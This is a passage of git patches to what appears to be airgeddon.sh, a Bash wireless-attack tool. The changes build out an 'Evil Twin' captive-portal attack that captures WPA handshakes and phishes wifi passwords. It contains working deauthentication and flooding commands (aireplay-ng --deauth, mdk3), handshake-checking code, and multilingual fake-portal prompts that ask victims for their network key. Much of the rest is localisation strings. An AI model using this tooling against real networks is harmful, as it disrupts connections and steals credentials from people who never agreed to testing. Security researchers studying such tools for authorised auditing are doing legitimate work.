pouvoir lancer cette attaque" + arr["catalan",315]="Aquest atac requereix que tinguis capturat prèviament un fitxer de Handshake d'una xarxa WPA/WPA2" + arr["portuguese",315]="$pending_of_translation Este ataque requer que você já capturou um arquivo a partir de uma rede Handshake WPA/WPA2" + arr["russian",315]="$pending_of_translation Эта атака требует, чтобы вы ранее захватили файл из сети Рукопожатие WPA/WPA2" + arr["greek",315]="$pending_of_translation Η επίθεση αυτή προϋποθέτει ότι έχετε συλληφθεί στο παρελθόν αρχείο χειραψία ένα δίκτυο WPA/WPA2" + + arr["english",316]="An exploration looking for targets is going to be done..." + arr["spanish",316]="Se va a realizar una exploración en busca de objetivos..." + arr["french",316]="$pending_of_translation Il effectuera un balayage des cibles..." + arr["catalan",316]="$pending_of_translation Es va a realitzar una exploració a la recerca d'objectius..." + arr["portuguese",316]="$pending_of_translation Ele irá realizar uma varredura para alvos..." + arr["russian",316]="$pending_of_translation Он выполнит сканирование для целей..." + arr["greek",316]="$pending_of_translation Θα εκτελέσετε σάρωση για τους στόχους..." arr["english",317]="If the password for the wifi network is achieved with the captive portal, you must decide where to save it. "${green_color}"Type the path to store the file or press Enter to accept the default proposal "${normal_color}"[$default_et_captive_portal_logpath]" arr["spanish",317]="Si se consigue la contraseña de la red wifi con el portal cautivo, hay que decidir donde guardarla. "${green_color}"Escribe la ruta donde guardaremos el fichero o pulsa Enter para aceptar la propuesta por defecto "${normal_color}"[$default_et_captive_portal_logpath]" arr["french",317]="Si un mot de passe est capté sur le portail captif il faut lui assigner un endroit pour être enregistré. "${green_color}"Entrez le chemin du fichier ou bien appuyez sur Entrée pour utiliser le chemin proposé "${normal_color}"[$default_et_captive_portal_logpath]" - arr["catalan",317]="$pending_of_translation Si s'aconsegueix la contrasenya de la xarxa wifi amb el portal captiu, cal decidir on guardar-la. "${green_color}"Escriu la ruta on desarem el fitxer o prem Enter per acceptar la proposta per defecte "${normal_color}"[$default_et_captive_portal_logpath]" + arr["catalan",317]="Si s'aconsegueix la contrasenya de la xarxa wifi amb el portal captiu, cal decidir on guardar-la. "${green_color}"Escriu la ruta on desarem el fitxer o prem Enter per acceptar la proposta per defecte "${normal_color}"[$default_et_captive_portal_logpath]" arr["portuguese",317]="$pending_of_translation Se a senha da rede wifi com o portal cativo é alcançado, decidir onde para salvar. "${green_color}"Digite o caminho onde armazenar o arquivo ou pressione Enter para aceitar as propostas padrão "${normal_color}"[$default_et_captive_portal_logpath]" arr["russian",317]="$pending_of_translation Если пароль для беспроводной сети с адаптивным порталом достигается, решить, куда сохранить. "${green_color}"Напечатайте путь до файла для сохранения или нажмите Enter для принятия предложения по умолчанию "${normal_color}"[$default_et_captive_portal_logpath]" arr["greek",317]="$pending_of_translation Εάν επιτευχθεί ο κωδικός πρόσβασης για το ασύρματο δίκτυο με την αιχμαλωσία πύλη, να αποφασίσει πού να αποθηκεύσετε. "${green_color}"Πληκτρολογήστε τη διαδρομή όπου αποθηκεύουμε το αρχείο ή πατήστε Enter για να αποδεχτείτε την προτεινόμενη προεπιλογή "${normal_color}"[$default_et_captive_portal_logpath]" @@ -3007,7 +3007,7 @@ function language_strings() { arr["english",318]="Choose the language in which network clients will see the captive portal :" arr["spanish",318]="Elige el idioma en el que los clientes de la red verán el portal cautivo :" arr["french",318]="Choisissez la langue dans laquelle les clients du réseau verront le portail captif :" - arr["catalan",318]="$pending_of_translation Tria l'idioma en el qual els clients de la xarxa veuran el portal captiu :" + arr["catalan",318]="Tria l'idioma en el qual els clients de la xarxa veuran el portal captiu :" arr["portuguese",318]="$pending_of_translation Escolha o idioma em que os clientes da rede verá o portal cativo :" arr["russian",318]="$pending_of_translation Выберите язык, на котором клиенты сети будут видеть адаптивный портал :" arr["greek",318]="$pending_of_translation Επιλέξτε τη γλώσσα στην οποία οι πελάτες του δικτύου θα δείτε την αιχμαλωσία πύλη :" @@ -3015,7 +3015,7 @@ function language_strings() { arr["english",319]="The captive portal language has been established" arr["spanish",319]="Se ha establecido el idioma del portal cautivo" arr["french",319]="La langue pour le portail captif est activée" - arr["catalan",319]="$pending_of_translation S'ha establert l'idioma del portal captiu" + arr["catalan",319]="S'ha establert l'idioma del portal captiu" arr["portuguese",319]="$pending_of_translation A língua foi estabelecida portal cativo" arr["russian",319]="$pending_of_translation Язык был создан адаптивный портал" arr["greek",319]="$pending_of_translation Η γλώσσα έχει καθιερωθεί αιχμαλωσία πύλη" @@ -3028,6 +3028,38 @@ function language_strings() { arr["russian",320]="7. греческий" arr["greek",320]="7. Ελληνικά" + arr["english",321]="Do you already have a captured Handshake file? "${blue_color}"Answer yes (\"y\") to enter the path or answer no (\"n\") to capture a new one now "${normal_color}"[y/n]" + arr["spanish",321]="¿Tienes ya un fichero de Handshake capturado? "${blue_color}"Responde sí (\"y\") para introducir la ruta o responde no (\"n\") para capturar uno ahora "${normal_color}"[y/n]" + arr["french",321]="$pending_of_translation Avez-vous déjà un fichier de Handshake capturé? "${blue_color}"Réponse oui (\"y\") pour entrer dans le chemin d'accès ou ne répond pas (\"n\") pour capturer un maintenant "${normal_color}"[y/n]" + arr["catalan",321]="$pending_of_translation ¿Tens ja un fitxer de Handshake capturat? "${blue_color}"Respon si (\"y\") per introduir la ruta o respon no (\"n\") per capturar un ara "${normal_color}"[y/n]" + arr["portuguese",321]="$pending_of_translation Você já tem um arquivo Handshake capturado? "${blue_color}"Responda sim (\"y\") para entrar no caminho ou responder não (\"n\") para capturar um novo agora "${normal_color}"[y/n]" + arr["russian",321]="$pending_of_translation У Вас уже есть файл захваченный Рукопожатие? "${blue_color}"Ответ да (\"y\"), чтобы войти в путь или нет ответа Нет (\"n\"), чтобы захватить новую прямо сейчас "${normal_color}"[y/n]" + arr["greek",321]="$pending_of_translation Έχετε ήδη καταθέσει ένα κατέλαβε Χειραψία? "${blue_color}"Απάντηση ναι (\"y\") για να εισαγάγετε τη διαδρομή ή να απαντήσει καθόλου (\"n\") για να συλλάβει ένα νέο τώρα "${normal_color}"[y/n]" + + arr["english",322]="It has been checked that there is a Handshake of the chosen target network while checking the selected capture file. Script can continue..." + arr["spanish",322]="Se ha comprobado que existe un Handshake de la red elegida como objetivo durante la exploración en el fichero de captura seleccionado. El script puede continuar..." + arr["french",322]="$pending_of_translation Il a été constaté qu'il existe un Handshake réseau choisi comme cible pour l'exploration dans le fichier de capture sélectionné. Le script peut continuer..." + arr["catalan",322]="$pending_of_translation S'ha comprovat que hi ha un Handshake de la xarxa triada com a objectiu durant l'exploració en el fitxer de captura seleccionat. El script pot continuar..." + arr["portuguese",322]="$pending_of_translation Verificou-se que existe uma rede de Handshake escolhido como o alvo para a exploração do ficheiro de captura seleccionado. O script pode continuar..." + arr["russian",322]="$pending_of_translation Было установлено, что существует сеть Квитирующий выбрана в качестве цели для исследования в выбранном файле записи. Скрипт может продолжать..." + arr["greek",322]="$pending_of_translation Έχει βρεθεί ότι υπάρχει μια χειραψία δίκτυο επιλέχθηκε ως το στόχο για εξερεύνηση στο επιλεγμένο αρχείο καταγραφής. Το script μπορεί να συνεχίσει..." + + arr["english",323]="There is no Handshake of the selected network on the capture file" + arr["spanish",323]="No se ha encontrado un Handshake de la red seleccionada en el fichero de captura" + arr["french",323]="$pending_of_translation Il n'a pas trouvé un Handshake réseau sélectionné dans le fichier de capture" + arr["catalan",323]="$pending_of_translation No s'ha trobat un Handshake de la xarxa seleccionada en el fitxer de captura" + arr["portuguese",323]="$pending_of_translation Não encontrou um aperto de mão rede selecionada no arquivo de captura" + arr["russian",323]="$pending_of_translation Он не нашел сети Рукопожатие, выбранный в файле захвата" + arr["greek",323]="$pending_of_translation Δεν έχει βρει μια χειραψία δικτύου έχει επιλεγεί στο αρχείο καταγραφής" + + arr["english",324]="Handshake file generated successfully at ["${normal_color}"$et_handshake"${blue_color}"]" + arr["spanish",324]="Fichero de Handshake generado con éxito en ["${normal_color}"$et_handshake"${blue_color}"]" + arr["french",324]="Fichier Handshake généré avec succès dans ["${normal_color}"$et_handshake"${blue_color}"]" + arr["catalan",324]="Fitxer de Handshake generat amb èxit a ["${normal_color}"$et_handshake"${blue_color}"]" + arr["portuguese",324]="Arquivo Handshake gerado com sucesso ["${normal_color}"$et_handshake"${blue_color}"]" + arr["russian",324]="Файл рукопожания успешно сгенерирован в ["${normal_color}"$et_handshake"${blue_color}"]" + arr["greek",324]="Το αρχείο Χειραψίας δημιουργήθηκε επιτυχώς στο ["${normal_color}"$et_handshake"${blue_color}"]" + case "$3" in "yellow") interrupt_checkpoint ${2} ${3} @@ -3532,6 +3564,9 @@ function select_internet_interface() { "et_sniffing_sslstrip") language_strings ${language} 292 "title" ;; + "et_captive_portal") + language_strings ${language} 293 "title" + ;; esac inet_ifaces=`ip link | egrep "^[0-9]+" | cut -d ':' -f 2 | awk {'print $1'} | grep lo -v | grep ${interface} -v` @@ -3718,7 +3753,7 @@ function exec_mdk3deauth() { language_strings ${language} 33 "blue" language_strings ${language} 4 "read" recalculate_windows_sizes - xterm +j -sb -rightbar -geometry ${g1_topleft_window} -T "mdk3 amok attack" -e mdk3 ${interface} d -b ${tmpdir}"bl.txt" -c ${channel} > /dev/null 2>&1 + xterm +j -bg black -fg red -geometry ${g1_topleft_window} -T "mdk3 amok attack" -e mdk3 ${interface} d -b ${tmpdir}"bl.txt" -c ${channel} > /dev/null 2>&1 } function exec_aireplaydeauth() { @@ -3733,7 +3768,7 @@ function exec_aireplaydeauth() { language_strings ${language} 33 "blue" language_strings ${language} 4 "read" recalculate_windows_sizes - xterm +j -sb -rightbar -geometry ${g1_topleft_window} -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface} > /dev/null 2>&1 + xterm +j -bg black -fg red -geometry ${g1_topleft_window} -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface} > /dev/null 2>&1 } function exec_wdsconfusion() { @@ -3746,7 +3781,7 @@ function exec_wdsconfusion() { language_strings ${language} 33 "blue" language_strings ${language} 4 "read" recalculate_windows_sizes - xterm +j -sb -rightbar -geometry ${g1_topleft_window} -T "wids / wips / wds confusion attack" -e mdk3 ${interface} w -e ${essid} -c ${channel} > /dev/null 2>&1 + xterm +j -bg black -fg red -geometry ${g1_topleft_window} -T "wids / wips / wds confusion attack" -e mdk3 ${interface} w -e ${essid} -c ${channel} > /dev/null 2>&1 } function exec_beaconflood() { @@ -3969,28 +4004,26 @@ function print_all_target_vars_et() { function print_et_target_vars() { - if [ "$et_mode" != "et_captive_portal" ]; then - if [ -n "$bssid" ]; then - language_strings ${language} 43 "blue" - else - language_strings ${language} 271 "blue" - fi + if [ -n "$bssid" ]; then + language_strings ${language} 43 "blue" + else + language_strings ${language} 271 "blue" + fi - if [ -n "$channel" ]; then - language_strings ${language} 44 "blue" - else - language_strings ${language} 273 "blue" - fi + if [ -n "$channel" ]; then + language_strings ${language} 44 "blue" + else + language_strings ${language} 273 "blue" + fi - if [ -n "$essid" ]; then - if [ "$essid" = "(Hidden Network)" ]; then - language_strings ${language} 45 "blue" - else - language_strings ${language} 46 "blue" - fi + if [ -n "$essid" ]; then + if [ "$essid" = "(Hidden Network)" ]; then + language_strings ${language} 45 "blue" else - language_strings ${language} 274 "blue" + language_strings ${language} 46 "blue" fi + else + language_strings ${language} 274 "blue" fi if [ "$current_menu" != "et_dos_menu" ]; then @@ -4047,7 +4080,7 @@ function initialize_menu_options_dependencies() { et_onlyap_dependencies=(${optional_tools_names[5]} ${optional_tools_names[6]} ${optional_tools_names[7]}) et_sniffing_dependencies=(${optional_tools_names[5]} ${optional_tools_names[6]} ${optional_tools_names[7]} ${optional_tools_names[8]} ${optional_tools_names[9]}) et_sniffing_sslstrip_dependencies=(${optional_tools_names[5]} ${optional_tools_names[6]} ${optional_tools_names[7]} ${optional_tools_names[8]} ${optional_tools_names[9]} ${optional_tools_names[10]}) - et_captive_portal_dependencies=(${optional_tools_names[5]} ${optional_tools_names[6]} ${optional_tools_names[7]} ${optional_tools_names[11]} ${optional_tools_names[2]}) + et_captive_portal_dependencies=(${optional_tools_names[5]} ${optional_tools_names[6]} ${optional_tools_names[7]} ${optional_tools_names[11]}) } function initialize_menu_and_print_selections() { @@ -4078,12 +4111,18 @@ function initialize_menu_and_print_selections() { ;; "evil_twin_attacks_menu") return_to_et_main_menu=0 + retry_handshake_capture=0 + retrying_handshake_capture=0 et_mode="" et_processes=() print_iface_selected print_all_target_vars_et ;; "et_dos_menu") + if [ ${retry_handshake_capture} -eq 1 ]; then + retry_handshake_capture=0 + retrying_handshake_capture=1 + fi print_iface_selected print_et_target_vars print_iface_internet_selected @@ -4374,7 +4413,14 @@ function evil_twin_attacks_menu() { check_interface_wifi if [ "$?" = "0" ]; then et_mode="et_captive_portal" - et_dos_menu + echo + language_strings ${language} 316 "yellow" + language_strings ${language} 115 "read" + + explore_for_targets_option + if [ "$?" = "0" ]; then + et_dos_menu + fi else echo language_strings ${language} 281 "yellow" @@ -4566,6 +4612,38 @@ function check_valid_file_to_clean() { return 0 } +function check_bssid_in_captured_file() { + + nets_from_file=$(echo "1" | aircrack-ng "$1" 2> /dev/null | egrep "WPA \([1-9][0-9]? handshake" | awk '{ saved = $1; $1 = ""; print substr($0, 2) }') + + echo + if [ "$nets_from_file" = "" ]; then + language_strings ${language} 216 "yellow" + language_strings ${language} 115 "read" + return 1 + fi + + declare -A bssids_detected + option_counter=0 + for item in ${nets_from_file}; do + if [[ ${item} =~ ^[0-9a-fA-F]{2}: ]]; then + option_counter=$[option_counter + 1] + bssids_detected["$option_counter"]=${item} + fi + done + + for targetbssid in ${bssids_detected[@]}; do + if [ "$bssid" = "$targetbssid" ]; then + language_strings ${language} 322 "yellow" + return 0 + fi + done + + language_strings ${language} 323 "yellow" + language_strings ${language} 115 "read" + return 1 +} + function select_wpa_bssid_target_from_captured_file() { nets_from_file=$(echo "1" | aircrack-ng "$1" 2> /dev/null | egrep "WPA \([1-9][0-9]? handshake" | awk '{ saved = $1; $1 = ""; print substr($0, 2) }') @@ -4578,26 +4656,14 @@ function select_wpa_bssid_target_from_captured_file() { fi declare -A bssids_detected - declare -A essids_detected option_counter=0 - next_is_essid=0 for item in ${nets_from_file}; do - if [ ${next_is_essid} -eq 1 ]; then - essids_detected["$option_counter"]="$item" - next_is_essid=0 - elif [[ ${item} =~ ^[0-9a-fA-F]{2}: ]]; then + if [[ ${item} =~ ^[0-9a-fA-F]{2}: ]]; then option_counter=$[option_counter + 1] bssids_detected["$option_counter"]=${item} - next_is_essid=1 - elif [[ ${item} =~ ^WPA2?$ ]]; then - if [ ${essids_detected["$option_counter"]} != "$last_item" ]; then - essids_detected["$option_counter"]+=" $last_item" - fi fi - last_item=${item} done - target_number=0 for targetbssid in ${bssids_detected[@]}; do if [ "$bssid" = "$targetbssid" ]; then language_strings ${language} 192 "blue" @@ -4605,15 +4671,10 @@ function select_wpa_bssid_target_from_captured_file() { if [ ${yesno} = "y" ]; then bssid=${targetbssid} - if [ "$2" = "evil_twin" ]; then - target_number=$[target_number + 1] - essid=${essids_detected["$target_number"]} - fi return 0 fi break fi - target_number=$[target_number + 1] done bssid_autoselected=0 @@ -4657,9 +4718,6 @@ function select_wpa_bssid_target_from_captured_file() { language_strings ${language} 217 "blue" fi - if [ "$2" = "evil_twin" ]; then - essid="${essids_detected["$target_network_on_file"]}" - fi return 0 } @@ -5501,12 +5559,12 @@ function set_control_script() { echo -ne " $open_parenthesis $last_password_msg $last_password $close_parenthesis" fi fi + echo + echo fi EOF cat >&7 <<-EOF - echo - echo echo -e "\t${green_color}${et_misc_texts[$language,3]}${normal_color}" readarray -t DHCPCLIENTS < <(cat "${tmpdir}clts.txt" | grep DHCPACK) client_ips=() @@ -6065,6 +6123,73 @@ function dos_attacks_menu() { dos_attacks_menu } +function capture_handshake_evil_twin() { + + if [[ ${enc} != "WPA" ]] && [[ ${enc} != "WPA2" ]]; then + echo + language_strings ${language} 137 "yellow" + language_strings ${language} 115 "read" + return 1 + fi + + capture_handshake_window + + case ${et_dos_attack} in + "Mdk3") + rm -rf ${tmpdir}"bl.txt" > /dev/null 2>&1 + echo ${bssid} > ${tmpdir}"bl.txt" + recalculate_windows_sizes + xterm +j -bg black -fg red -geometry ${g1_bottomleft_window} -T "mdk3 amok attack" -e mdk3 ${interface} d -b ${tmpdir}"bl.txt" -c ${channel} > /dev/null 2>&1 & + sleeptimeattack=12 + ;; + "Aireplay") + ${airmon} start ${interface} ${channel} > /dev/null 2>&1 + recalculate_windows_sizes + xterm +j -bg black -fg red -geometry ${g1_bottomleft_window} -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface} > /dev/null 2>&1 & + sleeptimeattack=12 + ;; + "Wds Confusion") + recalculate_windows_sizes + xterm +j -bg black -fg red -geometry ${g1_bottomleft_window} -T "wids / wips / wds confusion attack" -e mdk3 ${interface} w -e ${essid} -c ${channel} > /dev/null 2>&1 & + sleeptimeattack=16 + ;; + esac + + processidattack=$! + sleep ${sleeptimeattack} && kill ${processidattack} &> /dev/null + + ask_yesno 145 + handshake_captured=${yesno} + kill ${processidcapture} &> /dev/null + if [ "$handshake_captured" = "y" ]; then + + handshakepath=$(env | grep ^HOME | awk -F = '{print $2}') + lastcharhandshakepath=${handshakepath: -1} + if [ "$lastcharhandshakepath" != "/" ]; then + handshakepath="$handshakepath/" + fi + handshakefilename="handshake-$bssid.cap" + handshakepath="$handshakepath$handshakefilename" + + language_strings ${language} 162 "yellow" + validpath=1 + while [[ "$validpath" != "0" ]]; do + read_path "writeethandshake" + done + + cp "$tmpdir$standardhandshake_filename" ${et_handshake} + echo + language_strings ${language} 324 "blue" + language_strings ${language} 115 "read" + return 0 + else + echo + language_strings ${language} 146 "yellow" + language_strings ${language} 115 "read" + return 2 + fi +} + function capture_handshake() { if [[ -z ${bssid} ]] || [[ -z ${essid} ]] || [[ -z ${channel} ]] || [[ "$essid" = "(Hidden Network)" ]]; then @@ -6131,6 +6256,10 @@ function validate_path() { suggested_filename="$default_ettercaplogfilename" ettercap_logpath="$ettercap_logpath$default_ettercaplogfilename" ;; + "writeethandshake") + et_handshake="$1$standardhandshake_filename" + suggested_filename="$standardhandshake_filename" + ;; esac echo @@ -6216,6 +6345,14 @@ function read_path() { read_and_clean_path "et_handshake" check_file_exists "$et_handshake" ;; + "writeethandshake") + language_strings ${language} 148 "green" + read_and_clean_path "et_handshake" + if [ -z "$et_handshake" ]; then + et_handshake="$handshakepath" + fi + validate_path "$et_handshake" ${1} + ;; "et_captive_portallog") language_strings ${language} 317 "blue" read_and_clean_path "et_captive_portal_logpath" @@ -6290,7 +6427,7 @@ function attack_handshake_menu() { rm -rf ${tmpdir}"bl.txt" > /dev/null 2>&1 echo ${bssid} > ${tmpdir}"bl.txt" recalculate_windows_sizes - xterm +j -sb -rightbar -geometry ${g1_bottomleft_window} -T "mdk3 amok attack" -e mdk3 ${interface} d -b ${tmpdir}"bl.txt" -c ${channel} > /dev/null 2>&1 & + xterm +j -bg black -fg red -geometry ${g1_bottomleft_window} -T "mdk3 amok attack" -e mdk3 ${interface} d -b ${tmpdir}"bl.txt" -c ${channel} > /dev/null 2>&1 & sleeptimeattack=12 fi ;; @@ -6303,7 +6440,7 @@ function attack_handshake_menu() { capture_handshake_window ${airmon} start ${interface} ${channel} > /dev/null 2>&1 recalculate_windows_sizes - xterm +j -sb -rightbar -geometry ${g1_bottomleft_window} -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface} > /dev/null 2>&1 & + xterm +j -bg black -fg red -geometry ${g1_bottomleft_window} -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface} > /dev/null 2>&1 & sleeptimeattack=12 fi ;; @@ -6315,7 +6452,7 @@ function attack_handshake_menu() { else capture_handshake_window recalculate_windows_sizes - xterm +j -sb -rightbar -geometry ${g1_bottomleft_window} -T "wids / wips / wds confusion attack" -e mdk3 ${interface} w -e ${essid} -c ${channel} > /dev/null 2>&1 & + xterm +j -bg black -fg red -geometry ${g1_bottomleft_window} -T "wids / wips / wds confusion attack" -e mdk3 ${interface} w -e ${essid} -c ${channel} > /dev/null 2>&1 & sleeptimeattack=16 fi ;; @@ -6368,7 +6505,7 @@ function explore_for_targets_option() { rm -rf ${tmpdir}"nws"* > /dev/null 2>&1 rm -rf ${tmpdir}"clts.csv" > /dev/null 2>&1 recalculate_windows_sizes - xterm +j -sb -rightbar -geometry ${g1_topright_window} -T "Exploring for targets" -e airodump-ng -w ${tmpdir}"nws" ${interface} > /dev/null 2>&1 + xterm +j -bg black -fg white -geometry ${g1_topright_window} -T "Exploring for targets" -e airodump-ng -w ${tmpdir}"nws" ${interface} > /dev/null 2>&1 targetline=`cat ${tmpdir}"nws-01.csv" | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` targetline=`expr ${targetline} - 1` @@ -6380,7 +6517,7 @@ function explore_for_targets_option() { echo language_strings ${language} 68 "yellow" language_strings ${language} 115 "read" - return + return 1 fi rm -rf ${tmpdir}"nws.txt" > /dev/null 2>&1 @@ -6508,6 +6645,10 @@ function select_target() { function et_prerequisites() { + if [ ${retry_handshake_capture} -eq 1 ]; then + return + fi + current_menu="evil_twin_attacks_menu" clear @@ -6545,19 +6686,35 @@ function et_prerequisites() { fi if [ "$et_mode" = "et_captive_portal" ]; then - language_strings ${language} 316 "blue" - echo + language_strings ${language} 315 "yellow" echo language_strings ${language} 286 "pink" print_simple_separator - ask_yesno 277 - if [ ${yesno} = "n" ]; then - return_to_et_main_menu=1 - return + if [ ${retrying_handshake_capture} -eq 0 ]; then + ask_yesno 321 + fi + + if [[ ${yesno} = "n" || ${retrying_handshake_capture} -eq 1 ]]; then + capture_handshake_evil_twin + case "$?" in + "2") + retry_handshake_capture=1 + return + ;; + "1") + return_to_et_main_menu=1 + return + ;; + #fi + esac + else + ask_et_handshake_file fi - ask_et_handshake_file - select_wpa_bssid_target_from_captured_file "$et_handshake" "evil_twin" + retry_handshake_capture=0 + retrying_handshake_capture=0 + + check_bssid_in_captured_file "$et_handshake" if [ "$?" != "0" ]; then return_to_et_main_menu=1 return @@ -6566,9 +6723,6 @@ function et_prerequisites() { echo language_strings ${language} 28 "blue" - if [ -z ${channel} ]; then - channel=$(shuf -i 1-11 -n 1) - fi echo language_strings ${language} 26 "blue" @@ -6657,84 +6811,73 @@ function et_dos_menu() { return fi - if [ "$et_mode" != "et_captive_portal" ]; then - - clear - language_strings ${language} 265 "title" - current_menu="et_dos_menu" - initialize_menu_and_print_selections - echo - language_strings ${language} 47 "green" - print_simple_separator - language_strings ${language} 139 mdk3_attack_dependencies[@] - language_strings ${language} 140 aireplay_attack_dependencies[@] - language_strings ${language} 141 mdk3_attack_dependencies[@] - print_simple_separator - language_strings ${language} 266 - print_hint ${current_menu} + clear + language_strings ${language} 265 "title" + current_menu="et_dos_menu" + initialize_menu_and_print_selections + echo + language_strings ${language} 47 "green" + print_simple_separator + language_strings ${language} 139 mdk3_attack_dependencies[@] + language_strings ${language} 140 aireplay_attack_dependencies[@] + language_strings ${language} 141 mdk3_attack_dependencies[@] + print_simple_separator + language_strings ${language} 266 + print_hint ${current_menu} - read et_dos_option - case ${et_dos_option} in - 1) - contains_element "$et_dos_option" "${forbidden_options[@]}" + read et_dos_option + case ${et_dos_option} in + 1) + contains_element "$et_dos_option" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + et_dos_attack="Mdk3" + detect_internet_interface if [ "$?" = "0" ]; then - forbidden_menu_option + et_prerequisites else - et_dos_attack="Mdk3" - detect_internet_interface - if [ "$?" = "0" ]; then - et_prerequisites - else - return - fi + return fi - ;; - 2) - contains_element "$et_dos_option" "${forbidden_options[@]}" + fi + ;; + 2) + contains_element "$et_dos_option" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + et_dos_attack="Aireplay" + detect_internet_interface if [ "$?" = "0" ]; then - forbidden_menu_option + et_prerequisites else - et_dos_attack="Aireplay" - detect_internet_interface - if [ "$?" = "0" ]; then - et_prerequisites - else - return - fi + return fi - ;; - 3) - contains_element "$et_dos_option" "${forbidden_options[@]}" + fi + ;; + 3) + contains_element "$et_dos_option" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + et_dos_attack="Wds Confusion" + detect_internet_interface if [ "$?" = "0" ]; then - forbidden_menu_option + et_prerequisites else - et_dos_attack="Wds Confusion" - detect_internet_interface - if [ "$?" = "0" ]; then - et_prerequisites - else - return - fi + return fi - ;; - 4) - return - ;; - *) - invalid_menu_option - ;; - esac - - et_dos_menu - else - et_dos_attack="Aireplay" - detect_internet_interface - if [ "$?" = "0" ]; then - et_prerequisites - else + fi + ;; + 4) return - fi - fi + ;; + *) + invalid_menu_option + ;; + esac + + et_dos_menu } function detect_internet_interface() { From a3a643f804b0b555d378ab44530a9b9898cbac7c Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 9 Oct 2016 18:04:21 +0200 Subject: [PATCH 10/23] Finished some fixes on Evil Twin captive portal attack --- airgeddon.sh | 45 +++++++++++++++++++++++++++++++-------------- 1 file changed, 31 insertions(+), 14 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index bd293eade..c52d344af 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3,7 +3,7 @@ airgeddon_version="4.3" #Enabled 1 / Disabled 0 - Debug mode for faster development skipping intro and initial checks - Default value 0 -debug_mode=1 +debug_mode=0 #Enabled 1 / Disabled 0 - Auto update feature (it has no effect on debug mode) - Default value 1 auto_update=1 @@ -333,7 +333,7 @@ function language_strings() { et_misc_texts["english",10]="Enter your wireless network password to get internet access" et_misc_texts["spanish",10]="Introduzca su contraseña de acceso a la red inalámbrica para poder acceder a internet" - et_misc_texts["french",10]="Entrez votre accès d'aile de mot de passe du réseau sans fil d'accès à internet" + et_misc_texts["french",10]="Veuillez saisir la clé de sécurité du réseau wifi pour obtenir accès à internet" et_misc_texts["catalan",10]="Introduïu la contrasenya d'accés a la xarxa sense fils per poder accedir a internet" et_misc_texts["portuguese",10]="Digite sua senha de acesso de rede asa sem fio para acesso à internet" et_misc_texts["russian",10]="Введите свой беспроводной доступ к сети Интернет доступа пароль крыло" @@ -341,7 +341,7 @@ function language_strings() { et_misc_texts["english",11]="Password" et_misc_texts["spanish",11]="Contraseña" - et_misc_texts["french",11]="Mot de passe" + et_misc_texts["french",11]="Clé de sécurité" et_misc_texts["catalan",11]="Contrasenya" et_misc_texts["portuguese",11]="Senha" et_misc_texts["russian",11]="пароль" @@ -349,7 +349,7 @@ function language_strings() { et_misc_texts["english",12]="Show password" et_misc_texts["spanish",12]="Mostrar contraseña" - et_misc_texts["french",12]="Afficher le mot de passe" + et_misc_texts["french",12]="Afficher les caractères" et_misc_texts["catalan",12]="Mostra la contrasenya" et_misc_texts["portuguese",12]="Mostrar senha" et_misc_texts["russian",12]="Показать пароль" @@ -357,7 +357,7 @@ function language_strings() { et_misc_texts["english",13]="Submit" et_misc_texts["spanish",13]="Enviar" - et_misc_texts["french",13]="Soumettre" + et_misc_texts["french",13]="Enregistrer" et_misc_texts["catalan",13]="Enviar" et_misc_texts["portuguese",13]="Enviar" et_misc_texts["russian",13]="послать" @@ -365,7 +365,7 @@ function language_strings() { et_misc_texts["english",14]="An unexpected error occurred, redirecting to the main screen" et_misc_texts["spanish",14]="Ha ocurrido un error inesperado, redirigiendo a la pantalla principal" - et_misc_texts["french",14]="Une erreur inattendue est survenue, la redirection vers l'écran principal" + et_misc_texts["french",14]="Une erreur inattendue s'est produite, retour à l'écran principal" et_misc_texts["catalan",14]="Hi ha hagut un error inesperat, redirigint a la pantalla principal" et_misc_texts["portuguese",14]="Ocorreu um erro inesperado, redirecionando para a tela principal" et_misc_texts["russian",14]="Произошла неожиданная ошибка, перенаправлять на главный экран" @@ -381,7 +381,7 @@ function language_strings() { et_misc_texts["english",16]="The password must be at least 8 characters" et_misc_texts["spanish",16]="La contraseña debe tener al menos 8 caracteres" - et_misc_texts["french",16]="Le mot de passe doit être d'au moins 8 caractères" + et_misc_texts["french",16]="La clé de sécurité doit contenir au moins 8 caractères" et_misc_texts["catalan",16]="La contrasenya ha de tenir almenys 8 caràcters" et_misc_texts["portuguese",16]="A senha deve ter pelo menos 8 caracteres" et_misc_texts["russian",16]="Пароль должен быть не менее 8 символов" @@ -389,7 +389,7 @@ function language_strings() { et_misc_texts["english",17]="The password is incorrect, redirecting to the main screen" et_misc_texts["spanish",17]="La contraseña introducida es incorrecta, redirigiendo a la pantalla principal" - et_misc_texts["french",17]="Le mot de passe est incorrect, la redirection vers l'écran principal" + et_misc_texts["french",17]="Clé de sécurité incorrecte, retour à l'écran principal" et_misc_texts["catalan",17]="La contrasenya introduïda és incorrecta, redirigint a la pantalla principal" et_misc_texts["portuguese",17]="A senha está incorreta, redirecionando para a tela principal" et_misc_texts["russian",17]="Неверный пароль, перенаправление на главный экран" @@ -397,7 +397,7 @@ function language_strings() { et_misc_texts["english",18]="The password is correct, the connection will be restablished in a few moments" et_misc_texts["spanish",18]="La contraseña es correcta, la conexión se restablecerá en unos momentos" - et_misc_texts["french",18]="Le mot de passe est correct, la connexion sera établie dans quelques instants" + et_misc_texts["french",18]="Clé de sécurité correcte, la connexion sera établie dans quelques instants" et_misc_texts["catalan",18]="La contrasenya és correcta, la connexió es restablirà en uns moments" et_misc_texts["portuguese",18]="A senha está correta, a conexão será estabelecida em alguns momentos" et_misc_texts["russian",18]="Пароль правильный, то соединение будет установлено через несколько минут" @@ -405,7 +405,7 @@ function language_strings() { et_misc_texts["english",19]="Airgeddon. Captive 